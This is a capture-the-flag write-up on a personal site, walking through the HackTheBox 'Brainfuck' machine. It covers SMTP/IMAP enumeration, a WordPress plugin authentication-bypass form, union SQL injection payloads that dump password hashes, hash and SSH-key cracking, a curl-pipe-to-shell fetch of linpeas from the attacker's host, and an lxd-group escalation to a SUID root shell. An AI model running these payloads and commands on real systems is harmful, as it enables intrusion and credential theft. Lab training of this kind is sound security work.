siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Brainfuck | June 4, 2023

Introduction

Welcome to my another writeup! In this HackTheBox Brainfuck machine, you’ll learn: Exploiting WordPress plugin, enumerating emails, privilege escalation via lxd/lxc group, and more! Without further ado, let’s dive in.

Table of Content

  1. Service Enumeration
  2. Initial Foothold
  3. Privilege Escalation: orestis to root (Unintended)
  4. Conclusion

Background

Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:03:40(HKT)]
└> export RHOSTS=10.10.10.17           
┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:03:43(HKT)]
└> rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt 
[...]
PORT    STATE SERVICE  REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUvFkWE1DxJj4OsU4DiVLjkxYV2a9pSlMS/78hpx0IejJaFilgNb+RFCyfyhIw5NvsZB6hZiNL0vPDh+MscPd75heIIgx9mczfamsrA2KODdkdgUJPCBWUnF9/VhYQhJpGvo4f6lAwLz7wnmcjhiXencMNkZcweADi5aK0Xp6iFxYcwx6+qy0891gQ5TnVVazkDJNA+QMUamxJRm1tQN5dp/+TeBecWJH2AxQFXsM4wPkIFaE0GsKvYDmGyfy1YL/Gn5IxEqVrhIEYkDH4BQsbvORNueOtJKHoys7EhPF+STpx6ZAXS6AXhS/nJMz6EvubzeGqfBOaDIZN9u5JuCdf
|   256 6bd5dc153a667af419915d7385b24cb2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCJcOJZuuBlw9xDXy+VPpezMomPfySGOjABaxw02cmRifvzWE57mh1hlQD6z44IF1lsuW9E2NNH4xB4d8U0O5b0=
|   256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOokdEAUqLEqEuY1CHNJ2xaDU+L+/0qb3XZO8UIZfrju
25/tcp  open  smtp     syn-ack Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
110/tcp open  pop3     syn-ack Dovecot pop3d
|_pop3-capabilities: TOP UIDL CAPA SASL(PLAIN) USER PIPELINING RESP-CODES AUTH-RESP-CODE
143/tcp open  imap     syn-ack Dovecot imapd
|_imap-capabilities: AUTH=PLAINA0001 SASL-IR more have listed LITERAL+ capabilities Pre-login ENABLE ID LOGIN-REFERRALS IMAP4rev1 post-login OK IDLE
443/tcp open  ssl/http syn-ack nginx 1.10.0 (Ubuntu)
| tls-nextprotoneg: 
|_  http/1.1
| http-methods: 
|_  Supported Methods: GET HEAD
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/organizationalUnitName=IT/emailAddress=orestis@brainfuck.htb/localityName=Athens
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Issuer: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/organizationalUnitName=IT/emailAddress=orestis@brainfuck.htb/localityName=Athens
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-04-13T11:19:29
| Not valid after:  2027-04-11T11:19:29
| MD5:   cbf1689996aaf7a005650fc094917f20
| SHA-1: f448e798a8175580879c8fb8ef0e2d3dc656cb66
| -----BEGIN CERTIFICATE-----
| MIIFQzCCA6ugAwIBAgIJAI24F5h8eY+HMA0GCSqGSIb3DQEBCwUAMIGTMQswCQYD
[...]
| krhc81zFeg==
|_-----END CERTIFICATE-----
|_http-title: Welcome to nginx!
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.10.0 (Ubuntu)
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

According to rustscan result, we have 5 ports are opened:

Open Port Service
22 OpenSSH 7.2p2 Ubuntu
25 Postfix smtpd (Simple Mail Transfer Protocol)
110 Dovecot pop3d (Post Office Protocol)
143 Dovecot imapd (Internet Message Access Protocol)
443 nginx 1.10.0 (Ubuntu)

SMTP on port 25

Enumerate it via nmap’s scripts:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:07:12(HKT)]
└> nmap -p25 --script smtp* $RHOSTS -v
[...]
PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server doesn't seem to be an open relay, all tests failed
| smtp-enum-users: 
|_  Method RCPT returned a unhandled status code.
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| smtp-vuln-cve2010-4344: 
|_  The SMTP server is not Exim: NOT VULNERABLE

Seems nothing?

We could also try to enumerate local user via VRFY command:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:11:06(HKT)]
└> nc -nv $RHOSTS 25
(UNKNOWN) [10.10.10.17] 25 (smtp) open
VRFY root
220 brainfuck ESMTP Postfix (Ubuntu)
252 2.0.0 root
VRFY www-data
252 2.0.0 www-data
VRFY anything
550 5.1.1 <anything>: Recipient address rejected: User unknown in local recipient table

POP3 on port 110

Obtain the capabilities of the POP3 server via CAPA:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:17:31(HKT)]
└> nc -nv $RHOSTS 110                                               
(UNKNOWN) [10.10.10.17] 110 (pop3) open
+OK Dovecot ready.
CAPA
+OK
CAPA
TOP
UIDL
RESP-CODES
PIPELINING
AUTH-RESP-CODE
USER
SASL PLAIN
.

Nothing weird.

IMAP on port 143

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:22:58(HKT)]
└> nc -nv $RHOSTS 143
(UNKNOWN) [10.10.10.17] 143 (imap2) open
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready.
A1 LOGIN admin admin
A1 NO [AUTHENTICATIONFAILED] Authentication failed.

We could brute force some credentials.

HTTPS on port 443

Adding a new host to /etc/hosts:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:24:02(HKT)]
└> echo "$RHOSTS brainfuck.htb" | sudo tee -a /etc/hosts

Home page:

The SSL certificate is self-signed.

In here, we can see that the web application is a blog, and it’s using a Content Management System (CMS) called “WordPress”.

We can also see that there are 2 users:

We can verify that in SMTP:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:24:44(HKT)]
└> nc -nv $RHOSTS 25 
(UNKNOWN) [10.10.10.17] 25 (smtp) open
VRFY orestis
220 brainfuck ESMTP Postfix (Ubuntu)
252 2.0.0 orestis

In WordPress, we can use a tool called wpscan to scan vulnerabilities in WordPress:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:29:06(HKT)]
└> wpscan --url https://brainfuck.htb/ --disable-tls-checks
[...]
[+] WordPress version 4.7.3 identified (Insecure, released on 2017-03-06).
 | Found By: Rss Generator (Passive Detection)
 |  - https://brainfuck.htb/?feed=rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
 |  - https://brainfuck.htb/?feed=comments-rss2, <generator>https://wordpress.org/?v=4.7.3</generator>
[...]
[i] Plugin(s) Identified:

[+] wp-support-plus-responsive-ticket-system
 | Location: https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/
 | Last Updated: 2019-09-03T07:57:00.000Z
 | [!] The version is out of date, the latest version is 9.1.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | Version: 7.1.3 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/readme.txt
[...]

I used searchsploit to find public exploits about WordPress version 4.7.3, but no dice.

However, the plugin “Support Plus Responsive Ticket System” is interesting:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:35:11(HKT)]
└> searchsploit wordpress support-plus-responsive-ticket-system
-------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                    |  Path
-------------------------------------------------------------------------------------------------- ---------------------------------
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation            | php/webapps/41006.txt
WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection                   | php/webapps/40939.txt
-------------------------------------------------------------------------------------------------- ---------------------------------

Looks like version 7.1.3 is vulnerable to Privilege Escalation and SQL Injection?

Let’s mirror them:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:35:22(HKT)]
└> searchsploit -m 41006                                       
  Exploit: WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation
      URL: https://www.exploit-db.com/exploits/41006
     Path: /usr/share/exploitdb/exploits/php/webapps/41006.txt
    Codes: N/A
 Verified: True
File Type: ASCII text
Copied to: /home/siunam/ctf/htb/Machines/Brainfuck/41006.txt


┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:35:37(HKT)]
└> searchsploit -m 40939
  Exploit: WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection
      URL: https://www.exploit-db.com/exploits/40939
     Path: /usr/share/exploitdb/exploits/php/webapps/40939.txt
    Codes: N/A
 Verified: True
File Type: Unicode text, UTF-8 text
Copied to: /home/siunam/ctf/htb/Machines/Brainfuck/40939.txt

In 41006.txt, we can login as any user with the following POST request:

# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation
[...]
1. Description

You can login as anyone without knowing password because of incorrect usage of wp_set_auth_cookie().

http://security.szurek.pl/wp-support-plus-responsive-ticket-system-713-privilege-escalation.html

2. Proof of Concept

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="administrator">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

Then you can go to admin panel.

The <form> element will send a POST request to /wp-admin/admin-ajax.php with POST parameter username, email, action, submit.

41006_poc.html:

<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
	Username: <input type="text" name="username" value="admin">
	<input type="hidden" name="email" value="sth">
	<input type="hidden" name="action" value="loginGuestFacebook">
	<input type="submit" value="Login">
</form>

Let’s try that!

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|16:39:34(HKT)]
└> firefox 41006_poc.html

Note: We found the admin user in the home page.

It responses us with a 0, and set some cookies!

Which means we’re authenticated as user admin!

Nice!!

Let’s enumerate and even get a reverse shell!

The “Open Ticket” and “Sample Page” is just an empty page and a sample page.

In the admin panel, we can try to upload a reverse shell.

For example, modifying a theme’s PHP code:

Uhh… Nope, we can’t modify anything in the theme editor.

How about upload a reverse shell via “Plugins” page?

Nope. Looks like someone disabled plugins upload.

Since this web application is using HTTPS, we can view it’s SSL certificate.

Luckly, our nmap’s scan already did the job for us:

443/tcp open  ssl/http syn-ack nginx 1.10.0 (Ubuntu)
[...]
commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/organizationalUnitName=IT/emailAddress=orestis@brainfuck.htb/localityName=Athens
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Issuer: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR/organizationalUnitName=IT/emailAddress=orestis@brainfuck.htb/localityName=Athens
[...]

Oh! We found 2 subdomains in Subject Alternative Name (SAN):

Let’s add them in /etc/hosts!

10.10.10.17 brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb

www.brainfuck.htb:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|17:09:57(HKT)]
└> curl -k https://www.brainfuck.htb/ -v
[...]
> GET / HTTP/1.1
> Host: www.brainfuck.htb
> User-Agent: curl/7.88.1
> Accept: */*
> 
< HTTP/1.1 301 Moved Permanently
< Server: nginx/1.10.0 (Ubuntu)
< Date: Sun, 04 Jun 2023 09:09:59 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Location: https://brainfuck.htb/
< 
* Connection #0 to host www.brainfuck.htb left intact

The www subdomain is just redirecting us to https://brainfuck.htb/, which is the WordPress CMS.

How about sup3rs3cr3t subdomain?

Oh! Interesting.

In here, we can see that it’s a secret forum.

In FireFox extension “Wappalyzer”, viewing source page, and session cookie, we can see that it’s using an internet forum software called “Flarum”:

          <script>
        document.getElementById('flarum-loading').style.display = 'block';
      </script>

Let’s enumerate again!

In the “Development” post, we found 2 same users again:

As expected, the user admin is an admin privilege user.

I also tried to find public exploits in Flarum, but nothing.

Then, I enumerated hidden directories and files, brute forced both users’ password, no dice at all.

Let’s take a step back.

We still have 1 more thing in the WordPress CMS: SQL injection in Support Plus Responsive Ticket System 7.1.3!

40939.txt:

# Exploit Title: WP Support Plus Responsive Ticket System 7.1.3 – WordPress Plugin – Sql Injection
[...]
1 - Description:

Type user access: any user. $_POST[‘cat_id’] is not escaped. Is accessible for any user.

http://lenonleite.com.br/en/blog/2016/12/13/wp-support-plus-responsive-ticket-system-wordpress-plugin-sql-injection/

2 - Proof of Concept:

<form action="http://target/wp-admin/admin-ajax.php" method="post">
<input type="text" name="action" value="wpsp_getCatName">
<input type="text" name="cat_id" value="0 UNION SELECT 1,CONCAT(name,CHAR(58),slug),3 FROM wp_terms WHERE term_id=1">
<input type="submit" name="">
</form>
[...]

The <form> element will send a POST request to /wp-admin/admin-ajax.php, with parameter action and cat_id. The cat_id is vulnerable to Union-based SQL injection.

40939_poc.html:

<form action="https://brainfuck.htb/wp-admin/admin-ajax.php" method="post">
<input type="text" name="action" value="wpsp_getCatName">
<input type="text" name="cat_id" value="0 UNION SELECT 1,CONCAT(name,CHAR(58),slug),3 FROM wp_terms WHERE term_id=1">
<input type="submit" name="">
</form>

The Proof-of-Concept’s payload works!!

Let’s modify the payload and extract it’s database data!

Enumerate database:

0 UNION SELECT NULL,GROUP_CONCAT(schema_name),NULL FROM information_schema.schemata

We can assume that database webfolio is the WordPress’s MySQL database.

Extract username and password hash from table wp_users:

0 UNION SELECT NULL,CONCAT(user_login,CHAR(58),user_pass),NULL FROM wp_users

Found admin’s password hash! Let’s crack it!

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|18:05:57(HKT)]
└> john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
[...]
0g 0:00:05:21 86.84% (ETA: 18:12:06) 0g/s 38969p/s 38969c/s 38969C/s 3666664..36637977

Nope…

Then, I found tables wf_* via the following payload:

0 UNION SELECT NULL,CONCAT(table_schema,CHAR(58),table_name),NULL FROM information_schema.tables LIMIT 1 OFFSET 61

Those tables are for another webfolio WordPress CMS.

However, I tried to extract usernames and password hashes, there’s no user at all.

Initial Foothold

Ok… Take a step back again…

Is there anything else we missed?? Like WordPress plugins.

Ah ha! We do miss something!

The plugin “Easy WP SMTP” is to send email via SMTP.

Let’s click on “Settings” to find interesting stuff:

Oh nice!!! We found a credentials for user oresits!

Since SMTP, POP3, IMAP, SSH service is there on the target machine, let’s try to retrieve some emails from that user:

IMAP:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|20:23:22(HKT)]
└> nc -nv $RHOSTS 143
(UNKNOWN) [10.10.10.17] 143 (imap2) open
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready.
A1 LOGIN "orestis" "{Redacted}"
A1 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SPECIAL-USE] Logged in

Nice! We’re logged in on IMAP!

We can now retrieve emails via: (Commands are from HackTricks)

A1 FETCH 2 body[text]
* 2 FETCH (BODY[TEXT] {123}
Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: {Redacted}

Regards
)
A1 OK Fetch completed (0.001 + 0.000 secs).

Nice! We found user orestis’ password in the secret forum!!

Let’s login!

Again, enumerate.

In the home page, we can see 2 more posts:

SSH Access:

Oh… Looks like the SSH service disabled password login, and it only accepts SSH private key to login to SSH.

Also, user orestis is opening a thread for admin to send orestis SSH private key.

Key:

As you can see, their messages are being encrypted.

By looking at the mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja, it’s pretty clear that the mnvze is https, zsrivszwm.rfz is brainfuck.htb.

After some guessing, I found the encryption algorithm is Vigenere Cipher.

In the “SSH Access” and “Key” post, user oresits’s comments has a quote:

In CyberChef, we can use a recipe called “Vigenere Decode”.

We can try to copy and paste the ciphered text to “Input”, and the original quote to “Key”:

Oh! Looks like we found the key? BrainfuCkmybrainfuckmybrainfu

After fumbling around, we can find the correct key:

Nice!

Let’s decipher all of them:

We found orestis private SSH key!

Let’s download it!

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|20:59:41(HKT)]
└> curl https://brainfuck.htb/8ba5aa10e915218697d1c658cdee0bb8/orestis/id_rsa -k -o orestis_id_rsa
[...]
┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|20:59:59(HKT)]
└> chmod 600 orestis_id_rsa 

However, the private key has passphrase: (ENCRYPTED)

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|21:00:19(HKT)]
└> head -n 3 orestis_id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382

We can use ssh2john and john to crack it:

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|21:01:03(HKT)]
└> ssh2john orestis_id_rsa > orestis_id_rsa_hash.txt
┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|21:01:11(HKT)]
└> john --wordlist=/usr/share/wordlists/rockyou.txt orestis_id_rsa_hash.txt 
[...]
{Redacted}       (orestis_id_rsa)     
[...]

We can now finally SSH into user orestis with the private SSH key!

┌[siunam♥earth]-(~/ctf/htb/Machines/Brainfuck)-[2023.06.04|21:01:27(HKT)]
└> ssh -i orestis_id_rsa orestis@$RHOSTS            
Enter passphrase for key 'orestis_id_rsa': 
[...]
orestis@brainfuck:~$ whoami;hostname;id;ip a
orestis
brainfuck
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:91:d4 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.17/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:91d4/64 scope global mngtmpaddr dynamic 
       valid_lft 86396sec preferred_lft 14396sec
    inet6 fe80::250:56ff:feb9:91d4/64 scope link 
       valid_lft forever preferred_lft forever

I’m user orestis!

user.txt:

orestis@brainfuck:~$ cat /home/orestis/user.txt 
{Redacted}

Privilege Escalation

orestis to root

After gaining initial foothold, we can escalate our privilege to root.

Let’s enumerate!

SUID binaries:

orestis@brainfuck:~$ find / -perm -4000 2>/dev/null
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/bin/procmail
/usr/bin/at
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/newuidmap
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/gpasswd
/bin/umount
/bin/su
/bin/ping
/bin/ping6
/bin/ntfs-3g
/bin/mount
/bin/fusermount

Found MySQL credentials:

orestis@brainfuck:~$ cat /var/www/cms/wp-config.php 
[...]
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'webfolio');

/** MySQL database username */
define('DB_USER', 'orestis');

/** MySQL database password */
define('DB_PASSWORD', '{Redacted}');

/** MySQL hostname */
define('DB_HOST', 'localhost');
[...]

It’s the same as the SMTP one.

In the id’s output, we’re inside the lxd group:

orestis@brainfuck:~$ id
uid=1000(orestis) gid=1000(orestis) groups=1000(orestis),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare)

Maybe we could escalate our privilege via that.

LinPEAS:

┌[siunam♥earth]-(/usr/share/peass/linpeas)-[2023.06.04|21:12:01(HKT)]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
orestis@brainfuck:~$ curl -s http://10.10.14.26/linpeas.sh | sh
[...]
╔══════════╣ Searching tmux sessions
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions
tmux 2.1


/tmp/tmux-1000
[...]

Found tmux session. Maybe we could do tmux sessions hijacking.

However, it’s not exploitable in version 2.1.

Now, let’s try lxd/lxc group privilege escalation: (All steps are from https://www.hackingarticles.in/lxd-privilege-escalation/)

┌[siunam♥earth]-(/opt)-[2023.06.04|21:28:46(HKT)]
└> git clone https://github.com/saghul/lxd-alpine-builder.git
┌[siunam♥earth]-(/opt/lxd-alpine-builder)-[2023.06.04|21:29:34(HKT)]-[git://master ✗]
└> ./build-alpine 
build-alpine: must be run as root
┌[siunam♥earth]-(/opt/lxd-alpine-builder)-[2023.06.04|21:29:36(HKT)]-[git://master ✗]
└> sudo ./build-alpine                  
[...]
┌[siunam♥earth]-(/opt/lxd-alpine-builder)-[2023.06.04|21:30:11(HKT)]-[git://master ✗]
└> ls -lah                    
[...]
-rw-r--r--   1 root   root 2.5M Jun  4 21:30 alpine-v3.8-x86_64-20230604_2130.tar.gz
[...]
┌[siunam♥earth]-(/opt/lxd-alpine-builder)-[2023.06.04|21:21:47(HKT)]-[git://master ✗]
└> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
orestis@brainfuck:~$ wget http://10.10.14.26/alpine-v3.8-x86_64-20230604_2130.tar.gz -O /tmp/alpine-v3.8-x86_64-20230604_2130.tar.gz
orestis@brainfuck:~$ lxc image import /tmp/alpine-v3.8-x86_64-20230604_2130.tar.gz --alias myimage
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
orestis@brainfuck:~$ lxc image list
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE         |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
| myimage | cd73881adaac | no     | alpine v3.8 (20230604_21:30) | x86_64 | 3.11MB | Jun 4, 2023 at 1:25pm (UTC) |
+---------+--------------+--------+-------------------------------+--------+--------+-----------------------------+
orestis@brainfuck:~$ lxc init myimage ignite -c security.privileged=true
Creating ignite
orestis@brainfuck:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
orestis@brainfuck:~$ lxc start ignite
orestis@brainfuck:~$ lxc exec ignite /bin/sh
~ # whoami;hostname;id;ip a
root
ignite
uid=0(root) gid=0(root)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP qlen 1000
    link/ether 00:16:3e:9c:38:66 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::216:3eff:fe9c:3866/64 scope link 
       valid_lft forever preferred_lft forever

Now, we should be able to get the root flag in /mnt/root/root:

~ # ls -lah /mnt/root/root/
total 32K    
drwx------    4 root     root        4.0K Oct  3  2022 .
drwxr-xr-x   23 root     root        4.0K Sep 15  2022 ..
lrwxrwxrwx    1 root     root           9 Sep 15  2022 .bash_history -> /dev/null
-rw-r--r--    1 root     root        3.0K Oct 22  2015 .bashrc
drwx------    2 root     root        4.0K May  5  2017 .cache
-rw-------    1 root     root          66 Oct  3  2022 .mysql_history
drwxr-xr-x    2 root     root        4.0K Oct  3  2022 .nano
-rw-r--r--    1 root     root         148 Aug 17  2015 .profile
-r--------    1 root     root          33 Apr 29  2017 root.txt

But before we do that, I’ll copy the Bash shell and set it to SUID sticky bit. So that we have a root shell on the target system:

~ # cp /mnt/root/bin/bash /mnt/root/tmp/root_bash
~ # chmod +s /mnt/root/tmp/root_bash 
~ # exit
orestis@brainfuck:~$ ls -lah /tmp/root_bash 
-rwsr-sr-x 1 root root 1014K Jun  4 16:35 /tmp/root_bash
orestis@brainfuck:~$ /tmp/root_bash -p
root_bash-4.3# whoami;hostname;id;ip a
root
brainfuck
uid=1000(orestis) gid=1000(orestis) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),121(lpadmin),122(sambashare),1000(orestis)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:91:d4 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.17/24 brd 10.10.10.255 scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:91d4/64 scope global mngtmpaddr dynamic 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:feb9:91d4/64 scope link 
       valid_lft forever preferred_lft forever
3: lxdbr0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether fe:95:02:08:b7:36 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::b4fc:9ff:fe7c:d101/64 scope link 
       valid_lft forever preferred_lft forever
    inet6 fe80::1/64 scope link 
       valid_lft forever preferred_lft forever
5: veth98R2N3@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master lxdbr0 state UP group default qlen 1000
    link/ether fe:95:02:08:b7:36 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::fc95:2ff:fe08:b736/64 scope link 
       valid_lft forever preferred_lft forever

I’m root! :D

Now I’m have effective UID as the root user outside of the container!

Rooted

root.txt:

root_bash-4.3# cat /root/root.txt 
{Redacted}

Conclusion

What we’ve learned:

  1. Enumerating SMTP, POP3, IMAP
  2. Exploiting WordPress Plugin “Support Plus Responsive Ticket System 7.1.3”
  3. Enumerating Subdomains Via SSL Certificate’s Subject Alternative Name (SAN)
  4. Enumerating Emails Via IMAP
  5. Deciphering Vigenere Cipher
  6. Cracking SSH Private Key Passphrase
  7. Vertical Privilege Escalation Via lxd/lxc Group